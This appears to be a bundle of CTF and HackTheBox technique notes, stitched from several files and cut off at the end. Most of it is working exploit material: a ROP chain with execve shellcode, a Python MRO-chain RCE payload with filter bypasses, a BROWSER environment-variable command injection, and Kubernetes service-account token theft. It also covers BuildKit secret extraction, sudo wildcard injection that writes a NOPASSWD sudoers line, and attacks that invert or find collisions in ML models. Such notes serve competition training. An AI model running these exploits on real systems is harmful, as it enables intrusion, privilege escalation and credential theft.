d = distance(''.join(current))
if d < best_dist:
best_dist, best_char, improved = d, c, True
current[pos] = best_char
if best_dist < 0.00025:
return ''.join(current), best_dist
return ''.join(current), distance(''.join(current))
# Phase 2: Simulated annealing (escape local minima)
def simulated_annealing(password, iters=10000):
current = list(password)
best = current[:]
best_dist = distance(''.join(best))
T_start, T_end = 0.3, 0.00005
for i in range(iters):
T = T_start * (T_end / T_start) ** (i / iters)
neighbor = current[:]
for _ in range(random.randint(1, 3)):
neighbor[random.randint(0, len(neighbor)-1)] = random.choice(CHARS)
d = distance(''.join(neighbor))
if d < distance(''.join(current)) or random.random() < np.exp(-(d - distance(''.join(current))) / T):
current = neighbor
if d < best_dist:
best, best_dist = neighbor[:], d
if best_dist < 0.00025:
break
return ''.join(best), best_dist
# Combined: random restart + greedy + SA + greedy refinement
for _ in range(100):
pw = ''.join(random.choices(CHARS, k=16))
pw, d = greedy_search(pw)
if d < 0.00025: break
pw, d = simulated_annealing(pw)
pw, d = greedy_search(pw)
if d < 0.00025: breakKey insight: Dimensionality reduction (16D → 4D) guarantees collisions. Greedy search converges quickly for smooth loss surfaces; simulated annealing escapes local minima. Combined approach with random restarts finds solutions in seconds. This attack applies to any neural encoder used as a hash function.
Detection: Challenge provides a trained model file (.npz, .pt, .h5) and asks for an input matching a target output. Encoder architecture reduces dimensionality.
---
ML Model Inversion via Gradient Descent (BSidesSF 2025)
Extract training images from an overfitted neural network classifier by optimizing inputs to maximize class activation:
import tensorflow as tf
import numpy as np
def invert_model(model, target_class, input_shape=(64, 64, 1), steps=5000, lr=0.1):
"""Recover training image by maximizing target class activation"""
# Start from random noise
image = tf.Variable(tf.random.uniform(input_shape, 0, 1))
for step in range(steps):
with tf.GradientTape() as tape:
prediction = model(tf.expand_dims(image, 0))
loss = -prediction[0][target_class] # Maximize target class
gradients = tape.gradient(loss, image)
image.assign_sub(lr * gradients)
# Clip to valid pixel range
image.assign(tf.clip_by_value(image, 0.0, 1.0))
return image.numpy()
# Extract one image per class
for class_id in range(num_classes):
recovered = invert_model(model, class_id)
plt.imsave(f'class_{class_id}.png', recovered.squeeze(), cmap='gray')Key insight: Overfitted models (~24M parameters for 4 classes) memorize training data almost exactly. Gradient descent on the input pixels converges to the memorized training image. Works best on models with high parameter-to-class ratios and greyscale inputs. For color images, optimize each channel independently or jointly.
Detection signs: Model file is unusually large relative to the task complexity; few output classes but many parameters.
---
References
- DiceCTF 2026 "leadgate": ML weight perturbation negation for flag extraction
- BYPASS CTF 2025 "Signal from the Deck": Cookie checkpoint game brute-forcing
- BYPASS CTF 2025 "Hungry, Not Stupid": Flask cookie game state leakage
- BYPASS CTF 2025 "Maze of the Unseen": WebSocket teleportation + cryptic hints
- BYPASS CTF 2025 "Level Devil": Server time-only validation bypass
- ApoorvCTF 2026 "Hefty Secrets": LoRA adapter weight merging and bitmap visualization
- BearCatCTF 2026 "Brown's Revenge": De Bruijn sequence substring coverage
- BearCatCTF 2026 "Ghost Ship": Brainfuck instrumentation brute-force
- BearCatCTF 2026 "Dubious Doubloon": WASM linear memory state patching
- RootAccess2026 "The AI Techbro": Neural network encoder collision via greedy + simulated annealing
- BSidesSF 2025: ML model inversion via gradient descent for training data extraction
---
See also: games-and-vms.md for WASM patching, Roblox reversing, PyInstaller, Z3, K8s RBAC, floating-point exploitation, custom assembly sandbox escape, and multi-phase crypto games.
CTF Misc - Games, VMs & Constraint Solving (Part 3)
Table of Contents
- memfd_create Packed Binaries
- Multi-Phase Interactive Crypto Game (EHAX 2026)
- Emulator ROM-Switching State Preservation (BSidesSF 2026)
- Python Marshal Code Injection (iCTF 2013)
- Benford's Law Frequency Distribution Bypass (iCTF 2013)
- Parallel Connection Oracle Relay (Hack.lu 2015)
- Nonogram Solver to QR Code Pipeline (SECCON 2015)
- 100 Prisoners Problem / Cycle-Following Strategy (Sharif CTF 2016)
- C Code Jail Escape via Emoji Identifiers and Gadget Embedding (Midnight Flag 2026)
- BuildKit Daemon Exploitation for Build Secrets (BSidesSF 2026)
- References
---
memfd_create Packed Binaries
from Crypto.Cipher import ARC4
cipher = ARC4.new(b"key")
decrypted = cipher.decrypt(encrypted_data)
open("dumped", "wb").write(decrypted)---
Multi-Phase Interactive Crypto Game (EHAX 2026)
Pattern (The Architect's Gambit): Server presents a multi-phase challenge combining cryptography, game theory, and commitment-reveal protocols.
Phase structure: 1. Phase 1 (AES-ECB decryption): Decrypt pile values with provided key. Determine winner from game state. 2. Phase 2 (AES-CBC with derived keys): Keys derived via SHA-256 chain from Phase 1 results. Decrypt to get game parameters. 3. Phase 3 (Interactive gameplay): Play optimal moves in a combinatorial game, bound by commitment-reveal protocol.
Commitment-reveal (HMAC binding):
import hmac, hashlib
def compute_binding_token(session_nonce, answer):
"""Server verifies your answer commitment before revealing result."""
message = f"answer:{answer}".encode()
return hmac.new(session_nonce, message, hashlib.sha256).hexdigest()
# Flow: send token first, then server reveals state, then send answer
# Server checks: HMAC(nonce, answer) == your_token
# Prevents changing your answer after seeing the stateGF(2^8) arithmetic for game drain calculations:
# Galois Field GF(256) used in some game mechanics (Nim variants)
# Nim-value XOR determines winning/losing positions
def gf256_mul(a, b, poly=0x11b):
"""Multiply in GF(2^8) with irreducible polynomial."""
result = 0
while b:
if b & 1:
result ^= a
a <<= 1
if a & 0x100:
a ^= poly
b >>= 1
return result
# Nim game with GF(256) move rules:
# Position is losing if Nim-value (XOR of pile Grundy values) is 0
# Optimal move: find pile where removing stones makes XOR sum = 0Game tree memoization (C++ for performance):
# Python too slow for large state spaces — use C++ with memoization
# State compression: encode all pile sizes into single integer
# Cache: unordered_map<state_t, bool> for win/loss determination
# Python fallback for small games:
from functools import lru_cache
@lru_cache(maxsize=None)
def is_winning(state):
"""Returns True if current player can force a win."""
state = tuple(sorted(state)) # Normalize for caching
for move in generate_moves(state):
next_state = apply_move(state, move)
if not is_winning(next_state):
return True # Found a move that puts opponent in losing position
return False # All moves lead to opponent winningKey insights:
- Multi-phase challenges require solving each phase sequentially — each phase's output feeds the next
- HMAC commitment-reveal prevents guessing; you must compute the correct answer
- GF(256) Nim variants require Sprague-Grundy theory, not brute force
- When Python recursion is too slow (>10s), rewrite game solver in C++ with state compression and memoization
---
Emulator ROM-Switching State Preservation (BSidesSF 2026)
Pattern (wromwarp): In emulator debuggers, the /load command may replace only the ROM program while preserving CPU state (registers, RAM, program counter). By switching between ROMs at specific PC values, you can execute arbitrary instruction sequences using instructions from different programs.
Key insight: When a new ROM is loaded via the emulator's debug interface, the CPU state (registers, RAM, PC) remains unchanged. Only the program memory (ROM) is replaced. This means:
- If ROM A has loaded secret data into RAM at certain addresses
- And ROM B has a
displayinstruction at the same PC where ROM A's execution paused - Loading ROM B at that point causes the CPU to execute ROM B's instruction (display) using ROM A's data (the secret)
Exploit workflow:
1. Load ROM_A (contains INIT that loads secret into RAM)
2. Step through ROM_A until secret data is in RAM
3. Note the current PC value
4. /load ROM_B (PC, registers, RAM all preserved)
5. ROM_B has a "display memory" instruction at the current PC
6. Step → executes ROM_B's display instruction, showing ROM_A's secret dataPractical example:
from pwn import *
p = remote('target', port)
# Load first ROM that initializes secret data
p.sendlineafter('> ', '/load rom_init.bin')
# Step until secret is in memory (determined by analysis)
for _ in range(42):
p.sendlineafter('> ', '/step')
# Switch to ROM that displays memory at current PC
p.sendlineafter('> ', '/load rom_display.bin')
p.sendlineafter('> ', '/step')
# Read the leaked secret
flag = p.recvline().strip()
print(f"Flag: {flag}")When to recognize:
- Emulator/debugger challenge with
/load,/step,/run,/dumpcommands - Multiple ROM files provided
- One ROM initializes protected memory, another has display/output capabilities
- Challenge mentions "ROM switching", "hot swap", or "state preservation"
Key lessons:
- Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability
- Combine instructions from different programs by loading them at the right PC values
- Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions
References: BSidesSF 2026 "wromwarp"
---
Python Marshal Code Injection (iCTF 2013)
Pattern: Server deserializes base64-encoded marshal data and executes it as a Python function. Inject arbitrary code via serialized function code objects.
import marshal, types, base64
# Craft payload function that exfiltrates data over the socket
payload = lambda sock: sock.send(globals()['flag'].encode())
# Serialize the function's code object
serialized = base64.b64encode(marshal.dumps(payload.__code__)).decode()
# Server-side execution pattern:
# func = types.FunctionType(marshal.loads(base64.b64decode(data)), globals())
# func(client_socket)Key insight: marshal.loads() is as dangerous as pickle.loads() — it deserializes arbitrary Python code objects. Unlike pickle, marshal is rarely sandboxed. The injected function runs with access to the server's globals(), enabling flag exfiltration via the socket connection.
---
Benford's Law Frequency Distribution Bypass (iCTF 2013)
Pattern: Server validates that input digit frequency matches Benford's Law distribution (+-5% tolerance). Craft input with correct digit distribution to pass the check.
import random
# Benford's Law: P(d) = log10(1 + 1/d) for leading digit d (1-9)
benford = {d: round(100 * (1 + 1/d) / sum(1/i for i in range(1,10))) for d in range(1,10)}
# Approx: 1→30%, 2→18%, 3→12%, 4→10%, 5→8%, 6→7%, 7→6%, 8→5%, 9→5%
def generate_benford_compliant(length=1000):
digits = []
for d, pct in benford.items():
digits.extend([str(d)] * int(length * pct / 100))
random.shuffle(digits)
return ''.join(digits[:length])Key insight: Benford's Law describes the frequency of leading digits in naturally occurring datasets. If a service validates digit distribution, generate compliant input rather than random numbers. Tolerance is typically +-5%, so approximate percentages work.
---
Parallel Connection Oracle Relay (Hack.lu 2015)
When a server generates deterministic sequences and provides feedback, exploit multiple simultaneous connections to share answers:
1. Open N+1 connections with identical timing (same PRNG seed) 2. Sacrifice one connection per round to discover the correct answer 3. Relay discovered answer to remaining connections via synchronization
import threading
NUM_CONNECTIONS = 101
barriers = [threading.Barrier(NUM_CONNECTIONS - i) for i in range(100)]
correct_answers = [None] * 100
def worker(index, sock):
for round_num in range(100):
barriers[round_num].wait() # Synchronize all threads
if index == round_num:
# This thread sacrifices itself to probe
for guess in range(100):
sock.send(str(guess).encode())
response = sock.recv(1024)
if b'correct' in response:
correct_answers[round_num] = guess
break
else:
# Wait for oracle thread to find answer
barriers[round_num].wait()
sock.send(str(correct_answers[round_num]).encode())
threads = [threading.Thread(target=worker, args=(i, connections[i])) for i in range(NUM_CONNECTIONS)]
for t in threads: t.start()Key insight: Works against any service where multiple connections share state (same PRNG seed from identical connection times). The sacrifice pattern ensures at least one connection survives all rounds.
---
Nonogram Solver to QR Code Pipeline (SECCON 2015)
Automate solving nonogram puzzles that produce QR codes:
1. Parse constraints from web interface (BeautifulSoup for HTML tables) 2. Solve nonogram using external solver or constraint propagation 3. Render to image and decode QR
from PIL import Image
import subprocess, qrtools
# Parse row/column constraints from HTML
rows = parse_constraints(html, 'rows') # [[3,1], [2,2], ...]
cols = parse_constraints(html, 'cols')
# Feed to nonogram solver (e.g., nonogram-0.9)
solver_input = format_for_solver(rows, cols)
result = subprocess.run(['./nonogram'], input=solver_input, capture_output=True)
# Convert text grid to QR image
grid = parse_solver_output(result.stdout)
cell_size = 10
img = Image.new('RGB', (len(grid[0]) * cell_size, len(grid) * cell_size), 'white')
# Draw black cells where grid == '#'
# Decode QR
qr = qrtools.QR()
qr.decode('qrcode.png')
answer = qr.dataKey insight: Nonogram solvers are available as command-line tools. The key challenge is parsing the web interface and converting output to a valid QR image. Add quiet zones (white border) around the QR for reliable decoding.
---
100 Prisoners Problem / Cycle-Following Strategy (Sharif CTF 2016)
The classic 100 prisoners problem appears in CTF challenges as an "impossible" probability game:
- N prisoners each open N/2 boxes looking for their number
- All must succeed for the group to win
- Optimal strategy: follow permutation cycles (success rate ~31%)
def solve_prisoners(boxes):
"""Follow cycle starting from own number"""
N = len(boxes)
results = []
for prisoner in range(N):
current = prisoner
found = False
for _ in range(N // 2):
if boxes[current] == prisoner:
found = True
break
current = boxes[current] # Follow the cycle
results.append(found)
return all(results)Key insight: Random strategy succeeds with probability (1/2)^N ≈ 0. Cycle-following succeeds with probability 1 - ln(2) ≈ 0.3069 for large N. The game fails only if any cycle exceeds length N/2. Pre-check cycle lengths if the box arrangement is known.
---
C Code Jail Escape via Emoji Identifiers and Gadget Embedding (Midnight Flag 2026)
Escape a C code jail that bans all alphanumeric characters, whitespace, and most operators by using GCC's Unicode identifier support and embedding machine code gadgets inside arithmetic constants.
Constraints: Only (){}[];,=.+*%@#~ and emoji allowed. No letters, digits, whitespace, quotes, or ?&!|$<>^:/-.
Step 1: Integer construction from emoji
GCC allows emoji as identifiers. (😃==😃) is compile-time constant 1. Build any integer via addition and multiplication:
// Building 15: 3 * (2*2 + 1)
((😃==😃)+(😃==😃)+(😃==😃))*(((😃==😃)+(😃==😃))*((😃==😃)+(😃==😃))+(😃==😃))Step 2: Embed gadgets via add eax constant encoding
At -O0, var = var + CONSTANT compiles to 05 XX XX XX XX (add eax, imm32). Jump to offset+1 to execute the constant bytes as instructions:
| Target bytes | Instruction | Constant (decimal) |
|---|---|---|
0f 05 c3 | syscall; ret | 12780815 |
58 c3 | pop rax; ret | 50008 |
5f c3 | pop rdi; ret | 50015 |
5a c3 | pop rdx; ret | 50010 |
5e c3 | pop rsi; ret | 50014 |
54 5e 0f 05 | push rsp; pop rsi; syscall | 84893268 |
// Each gadget function embeds one instruction sequence:
😇(){😼=😼+<12780815_as_emoji_expr>;} // syscall; ret at 😇+15Step 3: Stack-based ROP via push rsp; pop rsi; syscall
Call the push rsp; pop rsi; syscall gadget with sys_read args to write a ROP chain directly to the stack return address:
// (gadget_func + 15)(stdin=0, buf=ignored_rsp_used, len=4096)
😀(){(😃+<15_expr>)(😷,😸,<4096_expr>);}The push rsp captures the return address location, pop rsi sets it as the read buffer, then syscall reads attacker input onto the stack.
Step 4: ROP chain to mprotect + read + shellcode
from pwn import *
rop = flat([
0xdeadbeef, # consumed by pop rbp
POP_RAX, 10, # sys_mprotect
POP_RDI, 0x404000,
POP_RSI, 0x2000,
POP_RDX, 7, # PROT_READ|WRITE|EXEC
SYSCALL_RET,
POP_RAX, 0, # sys_read
POP_RDI, 0, # stdin
POP_RSI, 0x404020,
POP_RDX, 0x200,
SYSCALL_RET,
0x404020, # jump to shellcode
])Step 5: Shellcode with glob for unknown flag path
# execve("/bin/sh", ["/bin/sh", "-c", "cat /flag*"], NULL)
shellcode = asm(shellcraft.execve("/bin/sh", ["/bin/sh", "-c", "cat /flag*"]))Key insight: GCC's -static -nostartfiles -nostdlib produces a minimal binary with deterministic addresses (no ASLR). Each emoji function lands at a predictable address (0x401000, 0x40101c, ...). The add eax, imm32 encoding is the key primitive — any 4-byte gadget sequence can be embedded as an arithmetic constant in a valid C expression.
Compilation flags to watch for: -nostartfiles -nostdlib -static indicates no libc, no CRT, deterministic layout — ideal for address-hardcoded exploits.
---
BuildKit Daemon Exploitation for Build Secrets (BSidesSF 2026)
Pattern (builds-as-a-service): Challenge accepts a Dockerfile and builds it. The build environment uses Docker BuildKit with --mount=type=secret,id=flag to inject secrets during build. An exposed BuildKit daemon (tcp://127.0.0.1:1234) allows submitting nested build requests that mount and read the secret.
Attack (two-stage Dockerfile):
Stage 1 — Submit a Dockerfile that installs buildctl and triggers a nested build:
FROM moby/buildkit:v0.17.1-rootless
COPY Dockerfile.exploit /tmp/Dockerfile
RUN <<'EOF'
buildctl --addr tcp://127.0.0.1:1234 build \
--frontend dockerfile.v0 \
--local context=/tmp --local dockerfile=/tmp \
--opt filename=Dockerfile.exploit \
--progress plain 2>&1; false
EOFStage 2 — The nested Dockerfile (Dockerfile.exploit) mounts and reads the secret:
FROM alpine
RUN --mount=type=secret,id=flag cat /run/secrets/flag; falseWhy `; false`: Forces a non-zero exit code which causes BuildKit to dump the full build output (including the flag) to stderr. Without it, successful builds may suppress intermediate output.
Key insight: BuildKit's gRPC API on localhost is unauthenticated by default. Any container running in the same network namespace can submit build requests. The --mount=type=secret mechanism is designed for build-time secrets but relies on the daemon being inaccessible — if the daemon is exposed, any build can request any secret.
Alternative approach: If buildctl is unavailable, use the BuildKit gRPC API directly:
# buildctl du / buildctl debug workers — enumerate available workers
# buildctl build --progress=plain — trace build outputWhen to recognize: Challenge provides a Dockerfile upload/build service. Look for BuildKit features (--mount=type=secret, BUILDKIT_INLINE_CACHE, # syntax= directives). Check if the build daemon is accessible from within built containers.
Real-world relevance: This mirrors actual CI/CD supply chain attacks where build systems expose secrets to untrusted build steps. GitHub Actions, GitLab CI, and Jenkins all have similar secret injection mechanisms.
References: BSidesSF 2026 "builds-as-a-service"
---
References
- EHAX 2026 "The Architect's Gambit": Multi-phase AES + HMAC + GF(256) Nim
- BSidesSF 2026 "wromwarp": Emulator ROM-switching state preservation
- iCTF 2013: Python marshal code injection, Benford's Law bypass
- Hack.lu 2015: Parallel connection oracle relay
- SECCON 2015: Nonogram solver to QR code pipeline
- Sharif CTF 2016: 100 prisoners problem / cycle-following strategy
- Midnight Flag 2026: C code jail escape via emoji identifiers
- BSidesSF 2026 "builds-as-a-service": BuildKit daemon build secret exploitation
---
See also: games-and-vms.md for WASM patching, Roblox place file reversing, PyInstaller extraction, marshal analysis, Python env RCE, Z3 constraint solving, K8s RBAC bypass, floating-point precision exploitation, and custom assembly language sandbox escape.
See also: games-and-vms-2.md for ML weight perturbation negation, cookie checkpoint brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, LoRA adapter merging, De Bruijn sequences, Brainfuck instrumentation, WASM memory manipulation, and neural network encoder collisions.
CTF Misc - Games, VMs & Constraint Solving (Part 1)
Table of Contents
- WASM Game Exploitation via Patching
- Roblox Place File Reversing
- PyInstaller Extraction
- Opcode Remapping
- Marshal Code Analysis
- Bytecode Inspection Tips
- Python Environment RCE
- Z3 Constraint Solving
- YARA Rules with Z3
- Type Systems as Constraints
- Kubernetes RBAC Bypass
- K8s Privilege Escalation Checklist
- Floating-Point Precision Exploitation
- Finding Exploitable Values
- Exploitation Strategy
- Why It Works
- Red Flags in Challenges
- Quick Test Script
- Custom Assembly Language Sandbox Escape (EHAX 2026)
- References
---
WASM Game Exploitation via Patching
Pattern (Tac Tic Toe, Pragyan 2026): Game with unbeatable AI in WebAssembly. Proof/verification system validates moves but doesn't check optimality.
Key insight: If the proof generation depends only on move positions and seed (not on whether moves were optimal), patching the WASM to make the AI play badly produces a beatable game with valid proofs.
Patching workflow:
# 1. Convert WASM binary to text format
wasm2wat main.wasm -o main.wat
# 2. Find the minimax function (look for bestScore initialization)
# Change initial bestScore from -1000 to 1000
# Flip comparison: i64.lt_s -> i64.gt_s (selects worst moves instead of best)
# 3. Recompile
wat2wasm main.wat -o main_patched.wasmExploitation:
const go = new Go();
const result = await WebAssembly.instantiate(
fs.readFileSync("main_patched.wasm"), go.importObject
);
go.run(result.instance);
InitGame(proof_seed);
// Play winning moves against weakened AI
for (const m of [0, 3, 6]) {
PlayerMove(m);
}
const data = GetWinData();
// Submit data.moves and data.proof to server -> valid!General lesson: In client-side game challenges, always check if the verification/proof system is independent of move quality. If so, patch the game logic rather than trying to beat it.
---
Roblox Place File Reversing
Pattern (MazeRunna, 0xFun 2026): Roblox game where the flag is hidden in an older published version. Latest version contains a decoy flag.
Step 1: Identify target IDs from game page HTML:
placeId = 75864087736017
universeId = 8920357208Step 2: Pull place versions via Roblox Asset Delivery API:
# Requires .ROBLOSECURITY cookie (rotate after CTF!)
for v in 1 2 3; do
curl -H "Cookie: .ROBLOSECURITY=..." \
"https://assetdelivery.roblox.com/v2/assetId/${PLACE_ID}/version/$v" \
-o place_v${v}.rbxlbin
doneStep 3: Parse .rbxlbin binary format: The Roblox binary place format contains typed chunks:
- INST — defines class buckets (Script, Part, etc.) and referent IDs
- PROP — per-instance property values (including
Sourcefor scripts) - PRNT — parent→child relationships forming the object tree
# Pseudocode for extracting scripts
for chunk in parse_chunks(data):
if chunk.type == 'PROP' and chunk.field == 'Source':
for referent, source in chunk.entries:
if source.strip():
print(f"[{get_path(referent)}] {source}")Step 4: Diff script sources across versions.
- v3 (latest):
Workspace/Stand/Color/Script→ fake flag - v2 (older): same path → real flag
Key lessons:
- Always check version history — latest version may be a decoy
- Roblox Asset Delivery API exposes all published versions
- Rotate
.ROBLOSECURITYcookie immediately after use (it's a full session token)
---
PyInstaller Extraction
python pyinstxtractor.py packed.exe
# Look in packed.exe_extracted/Opcode Remapping
If decompiler fails with opcode errors: 1. Find modified opcode.pyc 2. Build mapping to original values 3. Patch target .pyc 4. Decompile normally
---
Marshal Code Analysis
import marshal, dis
with open('file.bin', 'rb') as f:
code = marshal.load(f)
dis.dis(code)Bytecode Inspection Tips
co_constscontains literal values (strings, numbers)co_namescontains referenced names (function names, variables)co_codeis the raw bytecode- Use
dis.Bytecode(code)for instruction-level iteration
---
Python Environment RCE
PYTHONWARNINGS=ignore::antigravity.Foo::0
BROWSER="/bin/sh -c 'cat /flag' %s"Other dangerous environment variables:
PYTHONSTARTUP- Script executed on interactive startupPYTHONPATH- Inject modules via path hijackingPYTHONINSPECT- Drop to interactive shell after script
How PYTHONWARNINGS works: Setting PYTHONWARNINGS=ignore::antigravity.Foo::0 triggers import antigravity, which opens a URL via $BROWSER. Control $BROWSER to execute arbitrary commands.
---
Z3 Constraint Solving
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
s.add(flag[0] == ord('f')) # Known prefix
# Add constraints...
if s.check() == sat:
print(bytes([s.model()[f].as_long() for f in flag]))YARA Rules with Z3
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Literal bytes
for i, byte in enumerate([0x66, 0x6C, 0x61, 0x67]):
s.add(flag[i] == byte)
# Character range
for i in range(4):
s.add(flag[i] >= ord('A'))
s.add(flag[i] <= ord('Z'))
if s.check() == sat:
m = s.model()
print(bytes([m[f].as_long() for f in flag]))Type Systems as Constraints
OCaml GADTs / advanced types encode constraints.
Don't compile - extract constraints with regex and solve with Z3:
import re
from z3 import *
matches = re.findall(r"\(\s*([^)]+)\s*\)\s*(\w+)_t", source)
# Convert to Z3 constraints and solve---
Kubernetes RBAC Bypass
Pattern (CTFaaS, LACTF 2026): Container deployer with claimed ServiceAccount isolation.
Attack chain: 1. Deploy probe container that reads in-pod ServiceAccount token at /var/run/secrets/kubernetes.io/serviceaccount/token 2. Verify token can impersonate deployer SA (common misconfiguration) 3. Create pod with hostPath volume mounting / -> read node filesystem 4. Extract kubeconfig (e.g., /etc/rancher/k3s/k3s.yaml) 5. Use node credentials to access hidden namespaces and read secrets
# From inside pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/hidden/secrets/flagK8s Privilege Escalation Checklist
- Check RBAC:
kubectl auth can-i --list - Look for pod creation permissions (can create privileged pods)
- Check for hostPath volume mounts allowed in PSP/PSA
- Look for secrets in environment variables of other pods
- Check for service mesh sidecars leaking credentials
---
Floating-Point Precision Exploitation
Pattern (Spare Me Some Change): Trading/economy games where large multipliers amplify tiny floating-point errors.
Key insight: When decimal values (0.01-0.99) are multiplied by large numbers (e.g., 1e15), floating-point representation errors create fractional remainders that can be exploited.
Finding Exploitable Values
mult = 1000000000000000 # 10^15
# Find values where multiplication creates useful fractional errors
for i in range(1, 100):
x = i / 100.0
result = x * mult
frac = result - int(result)
if frac > 0:
print(f'x={x}: {result} (fraction={frac})')
# Common values with positive fractions:
# 0.07 -> 70000000000000.0078125
# 0.14 -> 140000000000000.015625
# 0.27 -> 270000000000000.03125
# 0.56 -> 560000000000000.0625Exploitation Strategy
1. Identify the constraint: Need balance >= price AND inventory >= fee 2. Find favorable FP error: Value where x * mult has positive fraction 3. Key trick: Sell the INTEGER part of inventory, keeping the fractional "free money"
Example (time-travel trading game):
Initial: balance=5.00, inventory=0.00, flag_price=5.00, fee=0.05
Multiplier: 1e15 (time travel)
# Buy 0.56, travel through time:
balance = (5.0 - 0.56) * 1e15 = 4439999999999999.5
inventory = 0.56 * 1e15 = 560000000000000.0625
# Sell exactly 560000000000000 (integer part):
balance = 4439999999999999.5 + 560000000000000 = 5000000000000000.0 (FP rounds!)
inventory = 560000000000000.0625 - 560000000000000 = 0.0625 > 0.05 fee
# Now: balance >= flag_price AND inventory >= feeWhy It Works
- Float64 has ~15-16 significant digits precision
(5.0 - 0.56) * 1e15loses precision -> rounds to exact 5e15 when added0.56 * 1e15keeps the 0.0625 fraction as "free inventory"- The asymmetric rounding gives you slightly more total value than you started with
Red Flags in Challenges
- "Time travel amplifies everything" (large multipliers)
- Trading games with buy/sell + special actions
- Decimal currency with fees or thresholds
- "No decimals allowed" after certain operations (forces integer transactions)
- Starting values that seem impossible to win with normal math
Quick Test Script
def find_exploit(mult, balance_needed, inventory_needed):
"""Find x where selling int(x*mult) gives balance>=needed with inv>=needed"""
for i in range(1, 500):
x = i / 100.0
if x >= 5.0: # Can't buy more than balance
break
inv_after = x * mult
bal_after = (5.0 - x) * mult
# Sell integer part of inventory
sell = int(inv_after)
final_bal = bal_after + sell
final_inv = inv_after - sell
if final_bal >= balance_needed and final_inv >= inventory_needed:
print(f'EXPLOIT: buy {x}, sell {sell}')
print(f' final_balance={final_bal}, final_inventory={final_inv}')
return x
return None
# Example usage:
find_exploit(1e15, 5e15, 0.05) # Returns 0.56---
Custom Assembly Language Sandbox Escape (EHAX 2026)
Pattern (Chusembly): Web app with custom instruction set (LD, PUSH, PROP, CALL, IDX, etc.) running on a Python backend. Safety check only blocks the word "flag" in source code.
Key insight: PROP (property access) and CALL (function invocation) instructions allow traversing Python's MRO chain from any object to achieve RCE, similar to Jinja2 SSTI.
Exploit chain:
LD 0x48656c6c6f A # Load "Hello" string into register A
PROP __class__ A # str → <class 'str'>
PROP __base__ E # str → <class 'object'> (E = result register)
PROP __subclasses__ E # object → bound method
CALL E # object.__subclasses__() → list of all classes
# Find os._wrap_close at index 138 (varies by Python version)
IDX 138 E # subclasses[138] = os._wrap_close
PROP __init__ E # get __init__ method
PROP __globals__ E # access function globals
# Use __getitem__ to access builtins without triggering keyword filter
PUSH 0x5f5f6275696c74696e735f5f # "__builtins__" as hex
CALL __getitem__ E # globals["__builtins__"]
# Bypass "flag" keyword filter with hex encoding
PUSH 0x666c61672e747874 # "flag.txt" as hex
CALL open E # open("flag.txt")
CALL read E # read file contents
STDOUT E # print flagFilter bypass techniques:
- Hex-encoded strings:
0x666c61672e747874→"flag.txt"bypasses keyword filters - os.popen for shell: If file path is unknown, use
os.popen('ls /').read()thenos.popen('cat /flag*').read() - Subclass index discovery: Iterate through
__subclasses__()list to find useful classes (os._wrap_close, subprocess.Popen, etc.)
General approach for custom language challenges: 1. Read the docs: Check /docs, /help, /api endpoints for instruction reference 2. Find the result register: Many custom languages have a special register for return values 3. Test string handling: Try hex-encoded strings to bypass keyword filters 4. Chain Python MRO: Any Python string object → __class__.__base__.__subclasses__() → RCE 5. Error messages leak info: Intentional errors reveal Python internals and available classes
---
References
- Pragyan 2026 "Tac Tic Toe": WASM minimax patching
- LACTF 2026 "CTFaaS": K8s RBAC bypass via hostPath
- 0xL4ugh CTF: PyInstaller + opcode remapping
- 0xFun 2026 "MazeRunna": Roblox version history + binary place file parsing
- EHAX 2026 "Chusembly": Custom assembly language with Python MRO chain RCE
---
See also: games-and-vms-2.md for ML weight perturbation negation, cookie checkpoint brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, LoRA adapter merging, De Bruijn sequences, Brainfuck instrumentation, WASM memory manipulation, and neural network encoder collisions.
See also: games-and-vms-3.md for memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, and BuildKit daemon build secret exploitation.
Linux Privilege Escalation and Service Exploitation
Techniques from HackTheBox machine writeups covering sudo abuse, service misconfigurations, database exploitation, and credential extraction.
Table of Contents
- Sudo Wildcard Parameter Injection via fnmatch (Dump HTB)
- Crafted Pcap for /etc/sudoers.d (Dump HTB)
- Monit confcheck Process Command-Line Injection (Zero HTB)
- Apache -d Last-Wins ServerRoot Override (Zero HTB)
- Backup Cronjob SUID Abuse (Slonik HTB)
- PostgreSQL COPY TO PROGRAM RCE (Slonik HTB)
- PostgreSQL Backup Credential Extraction (Slonik HTB)
- SSH Unix Socket Tunneling (Slonik HTB)
- NFS Share Exploitation for Sensitive Data (Slonik HTB)
- PaperCut Print Deploy Privilege Escalation (Bamboo HTB)
- Squid Proxy Pivoting to Internal Services (Bamboo HTB)
- Zabbix Admin Password Reset via MySQL (Watcher HTB)
- WinSSHTerm Encrypted Credential Decryption (Atlas HTB)
---
Sudo Wildcard Parameter Injection via fnmatch (Dump HTB)
Sudo's fnmatch() matches * across argument boundaries including spaces, allowing injection of extra flags into a locked-down sudo command.
Example: sudoers rule has /usr/bin/tcpdump -c10 -w/var/cache/captures/*/[UUID] — the * matches x -Z root -r/path -w/etc/sudoers.d
-Z rootprevents privilege dropping (file stays root-owned)- Second
-woverrides first (tcpdump uses last value) -rreads from crafted pcap instead of live capture
sudo /usr/bin/tcpdump -c10 \
-w/var/cache/captures/x \
-Z root \
-r/var/cache/captures/.../crafted.pcap \
-w/etc/sudoers.d/output_uuid \
-F/var/cache/captures/filter.uuidKey insight: Sudo wildcards use fnmatch() without FNM_PATHNAME, so * matches any characters including spaces and slashes. This means a single * in a sudoers rule can match across multiple injected arguments.
---
Crafted Pcap for /etc/sudoers.d (Dump HTB)
Sudo's yacc parser has error recovery — it skips binary junk lines and keeps parsing for valid entries. Vixie cron, by contrast, rejects the entire file on the first syntax error. Craft a pcap with an embedded sudoers line: \nwww-data ALL=(ALL:ALL) NOPASSWD: ALL\n
